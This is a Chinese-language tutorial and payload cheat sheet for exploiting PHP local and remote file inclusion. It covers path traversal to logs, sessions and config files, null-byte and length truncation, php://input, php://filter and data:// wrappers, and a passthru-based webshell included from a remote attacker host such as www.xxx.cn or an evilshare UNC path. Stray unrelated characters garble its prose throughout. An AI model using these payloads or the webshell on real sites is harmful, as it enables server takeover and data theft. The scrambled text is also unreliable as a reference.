原因:
程序員寫程序的時(shí)候罪针,不喜歡干同樣的事情属瓣,也不喜歡把同樣的代碼(比如一些公用的函數(shù))寫幾次扯躺,于是就把需要公用的代碼寫在一個(gè)單獨(dú)的文件里面,比 如 share.php藕畔,而后在其它文件進(jìn)行包含調(diào)用马僻。服務(wù)器通過某些php函數(shù)去包含任意文件時(shí),由于要包含的這個(gè)文件來源不明注服,可能是一個(gè)惡意的文件韭邓,從而造成攻擊措近。
涉及到的函數(shù):
include()
使用此函數(shù),只有代碼執(zhí)行到此函數(shù)時(shí)才將文件包含進(jìn)來女淑,發(fā)生錯(cuò)誤時(shí)只警告并繼續(xù)執(zhí)行整個(gè)php文件瞭郑。
Include_once()
這個(gè)函數(shù)跟include函數(shù)作用幾乎相同,只是他在導(dǎo)入函數(shù)之前先檢測下該文件是否被導(dǎo)入鸭你。如果已經(jīng)執(zhí)行一遍那么就不重復(fù)執(zhí)行了凰浮。
require()
使用此函數(shù),只要程序執(zhí)行苇本,立即調(diào)用此函數(shù)包含文件袜茧,發(fā)生錯(cuò)誤時(shí),會輸出錯(cuò)誤信息并立即終止程序瓣窄。
require_once()
功能和前者一樣笛厦,區(qū)別在于當(dāng)重復(fù)調(diào)用同一文件時(shí),程序只調(diào)用一次俺夕。
如何利用:
1.本地文件包含漏洞
(1)普通的本地文件包含
<?php include(“includes/” . $_GET['file']); ?>
當(dāng)網(wǎng)站對參數(shù)沒有進(jìn)行任何過濾時(shí)裳凸,我們可以包含一個(gè)不存在的文件就會爆出當(dāng)前的絕對路徑。
- 包含同路徑下的文件:
?file=.htaccess - 路徑遍歷:
?file=../../../../../../../../../var/lib/locate.db
(該文件非常有趣因?yàn)樗试S你搜索文件系統(tǒng)) - 包含注入PHP代碼的文件:
?file=../../../../../../../../../var/log/apache/error.log - 包含同目錄下的文件:
?file=.htaccess - 目錄遍歷
?file=../…/../var/lib/flag.txt - 包含錯(cuò)誤的日志
?file=../../../var/log/access.log - 常見的一些路徑
/var/log/apache/access_log
/var/www/logs/access_log
/var/log/asscess_log - 獲取web目錄或者其他的配置文件
?file=../../../httpd.conf - 包含上傳的附件
?file=../../../xx.file - 讀取session文件
/file=../../../tmp/sess_tnrdo
(2)有限制的本地包含
<?php include(“inc/” . $GET[‘file’] . “.htm”); ?>
- %00截?cái)啵?br> ?file=../../../etc/pwd%00
- %00截?cái)嗄夸洷闅v
?../../../../www/%00 - 路徑長度截?cái)啵?br> 劝贸?file=../../../etc/pwd/././.[…]/././.
- 點(diǎn)號截?cái)啵?br> ?file=../../../boot.ini/….[…]………
2.遠(yuǎn)程文件包含
如果目標(biāo)主機(jī)的”allow_url_fopen”是激活的(默認(rèn)是激活的)姨谷,allow_url_include是激活的(默認(rèn)關(guān)閉),被包含的遍歷前沒有目錄的限制映九。
我們可以指定其它 URL上的一個(gè)包含PHP代碼的webshell來直接運(yùn)行梦湘,比如,我先寫一段運(yùn)行命令的PHP代碼件甥,如下保存為cmd.txt捌议。
<?php
if (get_magic_quotes_gpc()){
$_REQUEST["cmd"]=stripslashes($_REQUEST["cmd"]);} //去掉轉(zhuǎn)義字符(可去掉字符串中的反斜線字符)
ini_set(“max_execution_time”,0); //設(shè)定針對這個(gè)文件的執(zhí)行時(shí)間,0為不限制.
echo ”M4R10開始行”; //打印的返回的開始行提示信息
passthru($_REQUEST["cmd"]); //運(yùn)行cmd指定的命令
echo ”M4R10結(jié)束行”; //打印的返回的結(jié)束行提示信息
?>
把這個(gè)文件 保存到我們主機(jī)的服務(wù)器上(可以是不支持PHP的主機(jī))引有,只要能通過HTTP訪問到就可以了瓣颅。
構(gòu)造參數(shù)page=http://www.xxx.cn/cmd.txt?cmd=ls,其中cmd后面的就是你需要執(zhí)行的命令譬正。
- 利用php流input;
?file=php://input - 利用php流filter:
?file=php://filter/convert/resource=index.php - 利用data URLs:
?file=data://text/plain;base64,URL(可以遠(yuǎn)程包含一句話木馬鏈接) - 利用xss執(zhí)行任意代碼
?file=http://127.0.0.1/path/xss.php?xss=phpcode - Using data URIs:
?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=
有限制的遠(yuǎn)程文件包含
<?php include($_GET[‘FILE’] . “.htm”); ?>
?file=http://www.baidu.com/shell
?file=http://www.baidu.com/shell.txt?
?file=http://www.baidu.com/shell.txt%23
?file=\evilshare\shell.php